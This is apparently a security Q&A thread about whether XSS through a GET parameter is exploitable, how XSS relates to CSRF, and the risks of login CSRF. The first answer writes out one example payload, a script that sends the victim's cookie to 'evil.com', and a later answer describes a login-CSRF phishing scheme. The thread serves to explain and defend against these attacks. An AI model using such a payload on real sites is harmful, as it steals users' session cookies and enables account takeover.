Yes. If you had an XSS vulnerability via a GET querystring parameter, an attacker could encourage a victim to visit a URL which exploited the vulnerability (or, say, iframed the URL in another page which they got the victim to visit), then the attacker could, say steal the user's auth cookie with something like <script>(new Image).src = "http://evil.com/stolencookie=" + document.cookie;</script>.

POSTs can be forged too, if another vulnerable site permits Javascript on their domain accidentally (among other ways, but that's the big one).

Isn't that CSRF, though?

CSRF is what allows you to post. XSS is what happens after it is posted.

If you missed something else, like a CSRF attack, an attacker could get you to submit an XSS request that sends your cookies to him.

There are other defenses against that, like having HttpOnly set on your cookies. Once you decide to let one particular thing through, though, you've lost defense in depth.

You will be vulnerable to reflected XSS but not persistent XSS attacks.

Persistent attacks are generally considered to be more dangerous, but reflected attacks are still quite bad.

Do you have CSRF protection on login? If not, an attacker can add an XSS attack to their own account, then log the victim into the attacker's account by submitting a cross-site post request with their username and password. This could potentially then read data from any other accounts the victim is logged in to at the same time. If you don't support multiple simultaneous logins, it could still allow the attacker to generate a phishing page, at your URL, which sent them back any data the user entered.